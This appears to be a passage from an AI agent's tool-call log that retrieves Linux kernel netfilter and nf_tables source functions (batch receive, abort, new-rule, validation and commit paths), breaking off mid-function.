2026/05/31 11:02 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nfnetlink.c Name:nfnetlink_rcv_batch]
Results: map[SourceCode: 371: static void nfnetlink_rcv_batch(struct sk_buff *skb, struct nlmsghdr *nlh,
372: u16 subsys_id, u32 genid)
373: {
374: struct sk_buff *oskb = skb;
375: struct net *net = sock_net(skb->sk);
376: const struct nfnetlink_subsystem *ss;
377: const struct nfnl_callback *nc;
378: struct netlink_ext_ack extack;
379: LIST_HEAD(err_list);
380: u32 status;
381: int err;
382:
383: if (subsys_id >= NFNL_SUBSYS_COUNT)
384: return netlink_ack(skb, nlh, -EINVAL, NULL);
385: replay:
386: status = 0;
387: replay_abort:
388: skb = netlink_skb_clone(oskb, GFP_KERNEL);
389: if (!skb)
390: return netlink_ack(oskb, nlh, -ENOMEM, NULL);
391:
392: nfnl_lock(subsys_id);
393: ss = nfnl_dereference_protected(subsys_id);
394: if (!ss) {
395: #ifdef CONFIG_MODULES
396: nfnl_unlock(subsys_id);
397: request_module("nfnetlink-subsys-%d", subsys_id);
398: nfnl_lock(subsys_id);
399: ss = nfnl_dereference_protected(subsys_id);
400: if (!ss)
401: #endif
402: {
403: nfnl_unlock(subsys_id);
404: netlink_ack(oskb, nlh, -EOPNOTSUPP, NULL);
405: return consume_skb(skb);
406: }
407: }
408:
409: if (!ss->valid_genid || !ss->commit || !ss->abort) {
410: nfnl_unlock(subsys_id);
411: netlink_ack(oskb, nlh, -EOPNOTSUPP, NULL);
412: return consume_skb(skb);
413: }
414:
415: if (!try_module_get(ss->owner)) {
416: nfnl_unlock(subsys_id);
417: netlink_ack(oskb, nlh, -EOPNOTSUPP, NULL);
418: return consume_skb(skb);
419: }
420:
421: if (!ss->valid_genid(net, genid)) {
422: module_put(ss->owner);
423: nfnl_unlock(subsys_id);
424: netlink_ack(oskb, nlh, -ERESTART, NULL);
425: return consume_skb(skb);
426: }
427:
428: nfnl_unlock(subsys_id);
429:
430: if (nlh->nlmsg_flags & NLM_F_ACK) {
431: memset(&extack, 0, sizeof(extack));
432: nfnl_err_add(&err_list, nlh, 0, &extack);
433: }
434:
435: while (skb->len >= nlmsg_total_size(0)) {
436: int msglen, type;
437:
438: if (fatal_signal_pending(current)) {
439: nfnl_err_reset(&err_list);
440: err = -EINTR;
441: status = NFNL_BATCH_FAILURE;
442: goto done;
443: }
444:
445: memset(&extack, 0, sizeof(extack));
446: nlh = nlmsg_hdr(skb);
447: err = 0;
448:
449: if (nlh->nlmsg_len < NLMSG_HDRLEN ||
450: skb->len < nlh->nlmsg_len ||
451: nlmsg_len(nlh) < sizeof(struct nfgenmsg)) {
452: nfnl_err_reset(&err_list);
453: status |= NFNL_BATCH_FAILURE;
454: goto done;
455: }
456:
457: /* Only requests are handled by the kernel */
458: if (!(nlh->nlmsg_flags & NLM_F_REQUEST)) {
459: err = -EINVAL;
460: goto ack;
461: }
462:
463: type = nlh->nlmsg_type;
464: if (type == NFNL_MSG_BATCH_BEGIN) {
465: /* Malformed: Batch begin twice */
466: nfnl_err_reset(&err_list);
467: status |= NFNL_BATCH_FAILURE;
468: goto done;
469: } else if (type == NFNL_MSG_BATCH_END) {
470: status |= NFNL_BATCH_DONE;
471: goto done;
472: } else if (type < NLMSG_MIN_TYPE) {
473: err = -EINVAL;
474: goto ack;
475: }
476:
477: /* We only accept a batch with messages for the same
478: * subsystem.
479: */
480: if (NFNL_SUBSYS_ID(type) != subsys_id) {
481: err = -EINVAL;
482: goto ack;
483: }
484:
485: nc = nfnetlink_find_client(type, ss);
486: if (!nc) {
487: err = -EINVAL;
488: goto ack;
489: }
490:
491: if (nc->type != NFNL_CB_BATCH) {
492: err = -EINVAL;
493: goto ack;
494: }
495:
496: {
497: int min_len = nlmsg_total_size(sizeof(struct nfgenmsg));
498: struct nfnl_net *nfnlnet = nfnl_pernet(net);
499: struct nlattr *cda[NFNL_MAX_ATTR_COUNT + 1];
500: struct nlattr *attr = (void *)nlh + min_len;
501: u8 cb_id = NFNL_MSG_TYPE(nlh->nlmsg_type);
502: int attrlen = nlh->nlmsg_len - min_len;
503: struct nfnl_info info = {
504: .net = net,
505: .sk = nfnlnet->nfnl,
506: .nlh = nlh,
507: .nfmsg = nlmsg_data(nlh),
508: .extack = &extack,
509: };
510:
511: /* Sanity-check NFTA_MAX_ATTR */
512: if (ss->cb[cb_id].attr_count > NFNL_MAX_ATTR_COUNT) {
513: err = -ENOMEM;
514: goto ack;
515: }
516:
517: err = nla_parse_deprecated(cda,
518: ss->cb[cb_id].attr_count,
519: attr, attrlen,
520: ss->cb[cb_id].policy, &extack);
521: if (err < 0)
522: goto ack;
523:
524: err = nc->call(skb, &info, (const struct nlattr **)cda);
525:
526: /* The lock was released to autoload some module, we
527: * have to abort and start from scratch using the
528: * original skb.
529: */
530: if (err == -EAGAIN) {
531: status |= NFNL_BATCH_REPLAY;
532: goto done;
533: }
534: }
535: ack:
536: if (nlh->nlmsg_flags & NLM_F_ACK || err) {
537: /* Errors are delivered once the full batch has been
538: * processed, this avoids that the same error is
539: * reported several times when replaying the batch.
540: */
541: if (err == -ENOMEM ||
542: nfnl_err_add(&err_list, nlh, err, &extack) < 0) {
543: /* We failed to enqueue an error, reset the
544: * list of errors and send OOM to userspace
545: * pointing to the batch header.
546: */
547: nfnl_err_reset(&err_list);
548: netlink_ack(oskb, nlmsg_hdr(oskb), -ENOMEM,
549: NULL);
550: status |= NFNL_BATCH_FAILURE;
551: goto done;
552: }
553: /* We don't stop processing the batch on errors, thus,
554: * userspace gets all the errors that the batch
555: * triggers.
556: */
557: if (err)
558: status |= NFNL_BATCH_FAILURE;
559: }
560:
561: msglen = NLMSG_ALIGN(nlh->nlmsg_len);
562: if (msglen > skb->len)
563: msglen = skb->len;
564: skb_pull(skb, msglen);
565: }
566: done:
567: if (status & NFNL_BATCH_REPLAY) {
568: ss->abort(net, oskb, NFNL_ABORT_AUTOLOAD);
569: nfnl_err_reset(&err_list);
570: consume_skb(skb);
571: module_put(ss->owner);
572: goto replay;
573: } else if (status == NFNL_BATCH_DONE) {
574: err = ss->commit(net, oskb);
575: if (err == -EAGAIN) {
576: status |= NFNL_BATCH_REPLAY;
577: goto done;
578: } else if (err) {
579: ss->abort(net, oskb, NFNL_ABORT_NONE);
580: netlink_ack(oskb, nlmsg_hdr(oskb), err, NULL);
581: } else if (nlh->nlmsg_flags & NLM_F_ACK) {
582: memset(&extack, 0, sizeof(extack));
583: nfnl_err_add(&err_list, nlh, 0, &extack);
584: }
585: } else {
586: enum nfnl_abort_action abort_action;
587:
588: if (status & NFNL_BATCH_FAILURE)
589: abort_action = NFNL_ABORT_NONE;
590: else
591: abort_action = NFNL_ABORT_VALIDATE;
592:
593: err = ss->abort(net, oskb, abort_action);
594: if (err == -EAGAIN) {
595: nfnl_err_reset(&err_list);
596: consume_skb(skb);
597: module_put(ss->owner);
598: status |= NFNL_BATCH_FAILURE;
599: goto replay_abort;
600: }
601: }
602:
603: nfnl_err_deliver(&err_list, oskb);
604: consume_skb(skb);
605: module_put(ss->owner);
606: }
SourceFile:net/netfilter/nfnetlink.c]
|
| 350/2 |
2026/05/31 11:02 |
llm |
expert |
0m
Model:
Tokens:
input: 13543
output: 42
thoughts: 0
|
| 351/2 |
2026/05/31 11:02 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:__nf_tables_abort]
Results: map[SourceCode:11241: static int __nf_tables_abort(struct net *net, enum nfnl_abort_action action)
11242: {
11243: struct nftables_pernet *nft_net = nft_pernet(net);
11244: struct nft_trans *trans, *next;
11245: LIST_HEAD(set_update_list);
11246: struct nft_trans_elem *te;
11247: struct nft_ctx ctx = {
11248: .net = net,
11249: };
11250: int err = 0;
11251:
11252: if (action == NFNL_ABORT_VALIDATE &&
11253: nf_tables_validate(net) < 0)
11254: err = -EAGAIN;
11255:
11256: list_for_each_entry_safe_reverse(trans, next, &nft_net->commit_list,
11257: list) {
11258: struct nft_table *table = trans->table;
11259:
11260: nft_ctx_update(&ctx, trans);
11261:
11262: switch (trans->msg_type) {
11263: case NFT_MSG_NEWTABLE:
11264: if (nft_trans_table_update(trans)) {
11265: if (!(table->flags & __NFT_TABLE_F_UPDATE)) {
11266: nft_trans_destroy(trans);
11267: break;
11268: }
11269: if (table->flags & __NFT_TABLE_F_WAS_DORMANT) {
11270: nf_tables_table_disable(net, table);
11271: table->flags |= NFT_TABLE_F_DORMANT;
11272: } else if (table->flags & __NFT_TABLE_F_WAS_AWAKEN) {
11273: table->flags &= ~NFT_TABLE_F_DORMANT;
11274: }
11275: if (table->flags & __NFT_TABLE_F_WAS_ORPHAN) {
11276: table->flags &= ~NFT_TABLE_F_OWNER;
11277: table->nlpid = 0;
11278: }
11279: table->flags &= ~__NFT_TABLE_F_UPDATE;
11280: nft_trans_destroy(trans);
11281: } else {
11282: list_del_rcu(&table->list);
11283: }
11284: break;
11285: case NFT_MSG_DELTABLE:
11286: case NFT_MSG_DESTROYTABLE:
11287: nft_clear(trans->net, table);
11288: nft_trans_destroy(trans);
11289: break;
11290: case NFT_MSG_NEWCHAIN:
11291: if (nft_trans_chain_update(trans)) {
11292: if (!(table->flags & NFT_TABLE_F_DORMANT)) {
11293: nft_netdev_unregister_hooks(net,
11294: &nft_trans_chain_hooks(trans),
11295: true);
11296: }
11297: free_percpu(nft_trans_chain_stats(trans));
11298: kfree(nft_trans_chain_name(trans));
11299: nft_trans_destroy(trans);
11300: } else {
11301: if (nft_trans_chain_bound(trans)) {
11302: nft_trans_destroy(trans);
11303: break;
11304: }
11305: nft_use_dec_restore(&table->use);
11306: nft_chain_del(nft_trans_chain(trans));
11307: nf_tables_unregister_hook(trans->net, table,
11308: nft_trans_chain(trans));
11309: }
11310: break;
11311: case NFT_MSG_DELCHAIN:
11312: case NFT_MSG_DESTROYCHAIN:
11313: if (nft_trans_chain_update(trans)) {
11314: list_splice(&nft_trans_chain_hooks(trans),
11315: &nft_trans_basechain(trans)->hook_list);
11316: } else {
11317: nft_use_inc_restore(&table->use);
11318: nft_clear(trans->net, nft_trans_chain(trans));
11319: }
11320: nft_trans_destroy(trans);
11321: break;
11322: case NFT_MSG_NEWRULE:
11323: if (nft_trans_rule_bound(trans)) {
11324: nft_trans_destroy(trans);
11325: break;
11326: }
11327: nft_use_dec_restore(&nft_trans_rule_chain(trans)->use);
11328: list_del_rcu(&nft_trans_rule(trans)->list);
11329: nft_rule_expr_deactivate(&ctx,
11330: nft_trans_rule(trans),
11331: NFT_TRANS_ABORT);
11332: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
11333: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11334: break;
11335: case NFT_MSG_DELRULE:
11336: case NFT_MSG_DESTROYRULE:
11337: nft_use_inc_restore(&nft_trans_rule_chain(trans)->use);
11338: nft_clear(trans->net, nft_trans_rule(trans));
11339: nft_rule_expr_activate(&ctx, nft_trans_rule(trans));
11340: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
11341: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11342:
11343: nft_trans_destroy(trans);
11344: break;
11345: case NFT_MSG_NEWSET:
11346: list_del(&nft_trans_container_set(trans)->list_trans_newset);
11347: if (nft_trans_set_update(trans)) {
11348: nft_trans_destroy(trans);
11349: break;
11350: }
11351: nft_use_dec_restore(&table->use);
11352: if (nft_trans_set_bound(trans)) {
11353: nft_trans_destroy(trans);
11354: break;
11355: }
11356: nft_trans_set(trans)->dead = 1;
11357: list_del_rcu(&nft_trans_set(trans)->list);
11358: break;
11359: case NFT_MSG_DELSET:
11360: case NFT_MSG_DESTROYSET:
11361: nft_use_inc_restore(&table->use);
11362: nft_clear(trans->net, nft_trans_set(trans));
11363: if (nft_trans_set(trans)->flags & (NFT_SET_MAP | NFT_SET_OBJECT))
11364: nft_map_activate(&ctx, nft_trans_set(trans));
11365:
11366: nft_trans_destroy(trans);
11367: break;
11368: case NFT_MSG_NEWSETELEM:
11369: if (nft_trans_elem_set_bound(trans)) {
11370: nft_trans_destroy(trans);
11371: break;
11372: }
11373: te = nft_trans_container_elem(trans);
11374: if (!nft_trans_elems_new_abort(&ctx, te)) {
11375: nft_trans_destroy(trans);
11376: break;
11377: }
11378:
11379: if (te->set->ops->abort &&
11380: list_empty(&te->set->pending_update)) {
11381: list_add_tail(&te->set->pending_update,
11382: &set_update_list);
11383: }
11384: break;
11385: case NFT_MSG_DELSETELEM:
11386: case NFT_MSG_DESTROYSETELEM:
11387: te = nft_trans_container_elem(trans);
11388:
11389: nft_trans_elems_destroy_abort(&ctx, te);
11390:
11391: if (te->set->ops->abort &&
11392: list_empty(&te->set->pending_update)) {
11393: list_add_tail(&te->set->pending_update,
11394: &set_update_list);
11395: }
11396: nft_trans_destroy(trans);
11397: break;
11398: case NFT_MSG_NEWOBJ:
11399: if (nft_trans_obj_update(trans)) {
11400: nft_obj_destroy(&ctx, nft_trans_obj_newobj(trans));
11401: nft_trans_destroy(trans);
11402: } else {
11403: nft_use_dec_restore(&table->use);
11404: nft_obj_del(nft_trans_obj(trans));
11405: }
11406: break;
11407: case NFT_MSG_DELOBJ:
11408: case NFT_MSG_DESTROYOBJ:
11409: nft_use_inc_restore(&table->use);
11410: nft_clear(trans->net, nft_trans_obj(trans));
11411: nft_trans_destroy(trans);
11412: break;
11413: case NFT_MSG_NEWFLOWTABLE:
11414: if (nft_trans_flowtable_update(trans)) {
11415: nft_unregister_flowtable_net_hooks(net,
11416: nft_trans_flowtable(trans),
11417: &nft_trans_flowtable_hooks(trans));
11418: } else {
11419: nft_use_dec_restore(&table->use);
11420: list_del_rcu(&nft_trans_flowtable(trans)->list);
11421: nft_unregister_flowtable_net_hooks(net,
11422: nft_trans_flowtable(trans),
11423: &nft_trans_flowtable(trans)->hook_list);
11424: }
11425: break;
11426: case NFT_MSG_DELFLOWTABLE:
11427: case NFT_MSG_DESTROYFLOWTABLE:
11428: if (nft_trans_flowtable_update(trans)) {
11429: list_splice(&nft_trans_flowtable_hooks(trans),
11430: &nft_trans_flowtable(trans)->hook_list);
11431: } else {
11432: nft_use_inc_restore(&table->use);
11433: nft_clear(trans->net, nft_trans_flowtable(trans));
11434: }
11435: nft_trans_destroy(trans);
11436: break;
11437: }
11438: }
11439:
11440: WARN_ON_ONCE(!list_empty(&nft_net->commit_set_list));
11441:
11442: nft_set_abort_update(&set_update_list);
11443:
11444: synchronize_rcu();
11445:
11446: list_for_each_entry_safe_reverse(trans, next,
11447: &nft_net->commit_list, list) {
11448: nft_trans_list_del(trans);
11449: nf_tables_abort_release(trans);
11450: }
11451:
11452: return err;
11453: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 352/2 |
2026/05/31 11:02 |
llm |
expert |
0m
Model:
Tokens:
input: 17205
output: 42
thoughts: 0
|
| 353/2 |
2026/05/31 11:02 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_newrule]
Results: map[SourceCode:4195: static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info,
4196: const struct nlattr * const nla[])
4197: {
4198: struct nftables_pernet *nft_net = nft_pernet(info->net);
4199: struct netlink_ext_ack *extack = info->extack;
4200: unsigned int size, i, n, ulen = 0, usize = 0;
4201: u8 genmask = nft_genmask_next(info->net);
4202: struct nft_rule *rule, *old_rule = NULL;
4203: struct nft_expr_info *expr_info = NULL;
4204: u8 family = info->nfmsg->nfgen_family;
4205: struct nft_flow_rule *flow = NULL;
4206: struct net *net = info->net;
4207: struct nft_userdata *udata;
4208: struct nft_table *table;
4209: struct nft_chain *chain;
4210: struct nft_trans *trans;
4211: u64 handle, pos_handle;
4212: struct nft_expr *expr;
4213: struct nft_ctx ctx;
4214: struct nlattr *tmp;
4215: int err, rem;
4216:
4217: lockdep_assert_held(&nft_net->commit_mutex);
4218:
4219: table = nft_table_lookup(net, nla[NFTA_RULE_TABLE], family, genmask,
4220: NETLINK_CB(skb).portid);
4221: if (IS_ERR(table)) {
4222: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_TABLE]);
4223: return PTR_ERR(table);
4224: }
4225:
4226: if (nla[NFTA_RULE_CHAIN]) {
4227: chain = nft_chain_lookup(net, table, nla[NFTA_RULE_CHAIN],
4228: genmask);
4229: if (IS_ERR(chain)) {
4230: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN]);
4231: return PTR_ERR(chain);
4232: }
4233:
4234: } else if (nla[NFTA_RULE_CHAIN_ID]) {
4235: chain = nft_chain_lookup_byid(net, table, nla[NFTA_RULE_CHAIN_ID],
4236: genmask);
4237: if (IS_ERR(chain)) {
4238: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN_ID]);
4239: return PTR_ERR(chain);
4240: }
4241: } else {
4242: return -EINVAL;
4243: }
4244:
4245: if (nft_chain_is_bound(chain))
4246: return -EOPNOTSUPP;
4247:
4248: if (nla[NFTA_RULE_HANDLE]) {
4249: handle = be64_to_cpu(nla_get_be64(nla[NFTA_RULE_HANDLE]));
4250: rule = __nft_rule_lookup(net, chain, handle);
4251: if (IS_ERR(rule)) {
4252: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_HANDLE]);
4253: return PTR_ERR(rule);
4254: }
4255:
4256: if (info->nlh->nlmsg_flags & NLM_F_EXCL) {
4257: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_HANDLE]);
4258: return -EEXIST;
4259: }
4260: if (info->nlh->nlmsg_flags & NLM_F_REPLACE)
4261: old_rule = rule;
4262: else
4263: return -EOPNOTSUPP;
4264: } else {
4265: if (!(info->nlh->nlmsg_flags & NLM_F_CREATE) ||
4266: info->nlh->nlmsg_flags & NLM_F_REPLACE)
4267: return -EINVAL;
4268: handle = nf_tables_alloc_handle(table);
4269:
4270: if (nla[NFTA_RULE_POSITION]) {
4271: pos_handle = be64_to_cpu(nla_get_be64(nla[NFTA_RULE_POSITION]));
4272: old_rule = __nft_rule_lookup(net, chain, pos_handle);
4273: if (IS_ERR(old_rule)) {
4274: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_POSITION]);
4275: return PTR_ERR(old_rule);
4276: }
4277: } else if (nla[NFTA_RULE_POSITION_ID]) {
4278: old_rule = nft_rule_lookup_byid(net, chain, nla[NFTA_RULE_POSITION_ID]);
4279: if (IS_ERR(old_rule)) {
4280: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_POSITION_ID]);
4281: return PTR_ERR(old_rule);
4282: }
4283: }
4284: }
4285:
4286: nft_ctx_init(&ctx, net, skb, info->nlh, family, table, chain, nla);
4287:
4288: n = 0;
4289: size = 0;
4290: if (nla[NFTA_RULE_EXPRESSIONS]) {
4291: expr_info = kvmalloc_array(NFT_RULE_MAXEXPRS,
4292: sizeof(struct nft_expr_info),
4293: GFP_KERNEL);
4294: if (!expr_info)
4295: return -ENOMEM;
4296:
4297: nla_for_each_nested(tmp, nla[NFTA_RULE_EXPRESSIONS], rem) {
4298: err = -EINVAL;
4299: if (nla_type(tmp) != NFTA_LIST_ELEM)
4300: goto err_release_expr;
4301: if (n == NFT_RULE_MAXEXPRS)
4302: goto err_release_expr;
4303: err = nf_tables_expr_parse(&ctx, tmp, &expr_info[n]);
4304: if (err < 0) {
4305: NL_SET_BAD_ATTR(extack, tmp);
4306: goto err_release_expr;
4307: }
4308: size += expr_info[n].ops->size;
4309: n++;
4310: }
4311: }
4312: /* Check for overflow of dlen field */
4313: err = -EFBIG;
4314: if (size >= 1 << 12)
4315: goto err_release_expr;
4316:
4317: if (nla[NFTA_RULE_USERDATA]) {
4318: ulen = nla_len(nla[NFTA_RULE_USERDATA]);
4319: if (ulen > 0)
4320: usize = sizeof(struct nft_userdata) + ulen;
4321: }
4322:
4323: err = -ENOMEM;
4324: rule = kzalloc(sizeof(*rule) + size + usize, GFP_KERNEL_ACCOUNT);
4325: if (rule == NULL)
4326: goto err_release_expr;
4327:
4328: nft_activate_next(net, rule);
4329:
4330: rule->handle = handle;
4331: rule->dlen = size;
4332: rule->udata = ulen ? 1 : 0;
4333:
4334: if (ulen) {
4335: udata = nft_userdata(rule);
4336: udata->len = ulen - 1;
4337: nla_memcpy(udata->data, nla[NFTA_RULE_USERDATA], ulen);
4338: }
4339:
4340: expr = nft_expr_first(rule);
4341: for (i = 0; i < n; i++) {
4342: err = nf_tables_newexpr(&ctx, &expr_info[i], expr);
4343: if (err < 0) {
4344: NL_SET_BAD_ATTR(extack, expr_info[i].attr);
4345: goto err_release_rule;
4346: }
4347:
4348: if (expr_info[i].ops->validate)
4349: nft_validate_state_update(table, NFT_VALIDATE_NEED);
4350:
4351: expr_info[i].ops = NULL;
4352: expr = nft_expr_next(expr);
4353: }
4354:
4355: if (chain->flags & NFT_CHAIN_HW_OFFLOAD) {
4356: flow = nft_flow_rule_create(net, rule);
4357: if (IS_ERR(flow)) {
4358: err = PTR_ERR(flow);
4359: goto err_release_rule;
4360: }
4361: }
4362:
4363: if (!nft_use_inc(&chain->use)) {
4364: err = -EMFILE;
4365: goto err_release_rule;
4366: }
4367:
4368: if (info->nlh->nlmsg_flags & NLM_F_REPLACE) {
4369: if (nft_chain_binding(chain)) {
4370: err = -EOPNOTSUPP;
4371: goto err_destroy_flow_rule;
4372: }
4373:
4374: err = nft_delrule(&ctx, old_rule);
4375: if (err < 0)
4376: goto err_destroy_flow_rule;
4377:
4378: trans = nft_trans_rule_add(&ctx, NFT_MSG_NEWRULE, rule);
4379: if (trans == NULL) {
4380: err = -ENOMEM;
4381: goto err_destroy_flow_rule;
4382: }
4383: list_add_tail_rcu(&rule->list, &old_rule->list);
4384: } else {
4385: trans = nft_trans_rule_add(&ctx, NFT_MSG_NEWRULE, rule);
4386: if (!trans) {
4387: err = -ENOMEM;
4388: goto err_destroy_flow_rule;
4389: }
4390:
4391: if (info->nlh->nlmsg_flags & NLM_F_APPEND) {
4392: if (old_rule)
4393: list_add_rcu(&rule->list, &old_rule->list);
4394: else
4395: list_add_tail_rcu(&rule->list, &chain->rules);
4396: } else {
4397: if (old_rule)
4398: list_add_tail_rcu(&rule->list, &old_rule->list);
4399: else
4400: list_add_rcu(&rule->list, &chain->rules);
4401: }
4402: }
4403: kvfree(expr_info);
4404:
4405: if (flow)
4406: nft_trans_flow_rule(trans) = flow;
4407:
4408: if (table->validate_state == NFT_VALIDATE_DO)
4409: return nft_table_validate(net, table);
4410:
4411: return 0;
4412:
4413: err_destroy_flow_rule:
4414: nft_use_dec_restore(&chain->use);
4415: if (flow)
4416: nft_flow_rule_destroy(flow);
4417: err_release_rule:
4418: nft_rule_expr_deactivate(&ctx, rule, NFT_TRANS_PREPARE_ERROR);
4419: nf_tables_rule_destroy(&ctx, rule);
4420: err_release_expr:
4421: for (i = 0; i < n; i++) {
4422: if (expr_info[i].ops) {
4423: module_put(expr_info[i].ops->type->owner);
4424: if (expr_info[i].ops->type->release_ops)
4425: expr_info[i].ops->type->release_ops(expr_info[i].ops);
4426: }
4427: }
4428: kvfree(expr_info);
4429:
4430: return err;
4431: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 354/2 |
2026/05/31 11:02 |
llm |
expert |
0m
Model:
Tokens:
input: 21085
output: 41
thoughts: 0
|
| 355/2 |
2026/05/31 11:02 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_table_validate]
Results: map[SourceCode:4108: static int nft_table_validate(struct net *net, const struct nft_table *table)
4109: {
4110: struct nft_chain *chain;
4111: struct nft_ctx ctx = {
4112: .net = net,
4113: .family = table->family,
4114: };
4115: int err;
4116:
4117: list_for_each_entry(chain, &table->chains, list) {
4118: if (!nft_is_base_chain(chain))
4119: continue;
4120:
4121: ctx.chain = chain;
4122: err = nft_chain_validate(&ctx, chain);
4123: if (err < 0)
4124: return err;
4125:
4126: cond_resched();
4127: }
4128:
4129: return 0;
4130: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 356/2 |
2026/05/31 11:02 |
llm |
expert |
0m
Model:
Tokens:
input: 21447
output: 41
thoughts: 0
|
| 357/2 |
2026/05/31 11:03 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_chain_validate]
Results: map[SourceCode:4066: /** nft_chain_validate - loop detection and hook validation
4067: *
4068: * @ctx: context containing call depth and base chain
4069: * @chain: chain to validate
4070: *
4071: * Walk through the rules of the given chain and chase all jumps/gotos
4072: * and set lookups until either the jump limit is hit or all reachable
4073: * chains have been validated.
4074: */
4075: int nft_chain_validate(const struct nft_ctx *ctx, const struct nft_chain *chain)
4076: {
4077: struct nft_expr *expr, *last;
4078: struct nft_rule *rule;
4079: int err;
4080:
4081: if (ctx->level == NFT_JUMP_STACK_SIZE)
4082: return -EMLINK;
4083:
4084: list_for_each_entry(rule, &chain->rules, list) {
4085: if (fatal_signal_pending(current))
4086: return -EINTR;
4087:
4088: if (!nft_is_active_next(ctx->net, rule))
4089: continue;
4090:
4091: nft_rule_for_each_expr(expr, last, rule) {
4092: if (!expr->ops->validate)
4093: continue;
4094:
4095: /* This may call nft_chain_validate() recursively,
4096: * callers that do so must increment ctx->level.
4097: */
4098: err = expr->ops->validate(ctx, expr);
4099: if (err < 0)
4100: return err;
4101: }
4102: }
4103:
4104: return 0;
4105: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 358/2 |
2026/05/31 11:03 |
llm |
expert |
0m
Model:
Tokens:
input: 22068
output: 41
thoughts: 0
|
| 359/2 |
2026/05/31 11:03 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nft_synproxy.c Name:nft_synproxy_validate]
Results: map[SourceCode: 250: static int nft_synproxy_validate(const struct nft_ctx *ctx,
251: const struct nft_expr *expr)
252: {
253: if (ctx->family != NFPROTO_IPV4 &&
254: ctx->family != NFPROTO_IPV6 &&
255: ctx->family != NFPROTO_INET)
256: return -EOPNOTSUPP;
257:
258: return nft_chain_validate_hooks(ctx->chain, (1 << NF_INET_LOCAL_IN) |
259: (1 << NF_INET_FORWARD));
260: }
SourceFile:net/netfilter/nft_synproxy.c]
|
| 360/2 |
2026/05/31 11:03 |
llm |
expert |
0m
Model:
Tokens:
input: 22323
output: 41
thoughts: 0
|
| 361/2 |
2026/05/31 11:03 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_commit]
Results: map[SourceCode:10860: static int nf_tables_commit(struct net *net, struct sk_buff *skb)
10861: {
10862: struct nftables_pernet *nft_net = nft_pernet(net);
10863: const struct nlmsghdr *nlh = nlmsg_hdr(skb);
10864: struct nft_trans_binding *trans_binding;
10865: struct nft_trans *trans, *next;
10866: unsigned int base_seq, gc_seq;
10867: LIST_HEAD(set_update_list);
10868: struct nft_trans_elem *te;
10869: struct nft_chain *chain;
10870: struct nft_table *table;
10871: struct nft_ctx ctx;
10872: LIST_HEAD(adl);
10873: int err;
10874:
10875: if (list_empty(&nft_net->commit_list)) {
10876: mutex_unlock(&nft_net->commit_mutex);
10877: return 0;
10878: }
10879:
10880: nft_ctx_init(&ctx, net, skb, nlh, NFPROTO_UNSPEC, NULL, NULL, NULL);
10881:
10882: list_for_each_entry(trans_binding, &nft_net->binding_list, binding_list) {
10883: trans = &trans_binding->nft_trans;
10884: switch (trans->msg_type) {
10885: case NFT_MSG_NEWSET:
10886: if (!nft_trans_set_update(trans) &&
10887: nft_set_is_anonymous(nft_trans_set(trans)) &&
10888: !nft_trans_set_bound(trans)) {
10889: pr_warn_once("nftables ruleset with unbound set\n");
10890: return -EINVAL;
10891: }
10892: break;
10893: case NFT_MSG_NEWCHAIN:
10894: if (!nft_trans_chain_update(trans) &&
10895: nft_chain_binding(nft_trans_chain(trans)) &&
10896: !nft_trans_chain_bound(trans)) {
10897: pr_warn_once("nftables ruleset with unbound chain\n");
10898: return -EINVAL;
10899: }
10900: break;
10901: default:
10902: WARN_ONCE(1, "Unhandled bind type %d", trans->msg_type);
10903: break;
10904: }
10905: }
10906:
10907: /* 0. Validate ruleset, otherwise roll back for error reporting. */
10908: if (nf_tables_validate(net) < 0) {
10909: nft_net->validate_state = NFT_VALIDATE_DO;
10910: return -EAGAIN;
10911: }
10912:
10913: err = nft_flow_rule_offload_commit(net);
10914: if (err < 0)
10915: return err;
10916:
10917: /* 1. Allocate space for next generation rules_gen_X[] */
10918: list_for_each_entry_safe(trans, next, &nft_net->commit_list, list) {
10919: struct nft_table *table = trans->table;
10920: int ret;
10921:
10922: ret = nf_tables_commit_audit_alloc(&adl, table);
10923: if (ret) {
10924: nf_tables_commit_chain_prepare_cancel(net);
10925: nf_tables_commit_audit_free(&adl);
10926: return ret;
10927: }
10928: if (trans->msg_type == NFT_MSG_NEWRULE ||
10929: trans->msg_type == NFT_MSG_DELRULE) {
10930: chain = nft_trans_rule_chain(trans);
10931:
10932: ret = nf_tables_commit_chain_prepare(net, chain);
10933: if (ret < 0) {
10934: nf_tables_commit_chain_prepare_cancel(net);
10935: nf_tables_commit_audit_free(&adl);
10936: return ret;
10937: }
10938: }
10939: }
10940:
10941: /* step 2. Make rules_gen_X visible to packet path */
10942: list_for_each_entry(table, &nft_net->tables, list) {
10943: list_for_each_entry(chain, &table->chains, list)
10944: nf_tables_commit_chain(net, chain);
10945: }
10946:
10947: /*
10948: * Bump generation counter, invalidate any dump in progress.
10949: * Cannot fail after this point.
10950: */
10951: base_seq = READ_ONCE(nft_net->base_seq);
10952: while (++base_seq == 0)
10953: ;
10954:
10955: WRITE_ONCE(nft_net->base_seq, base_seq);
10956:
10957: gc_seq = nft_gc_seq_begin(nft_net);
10958:
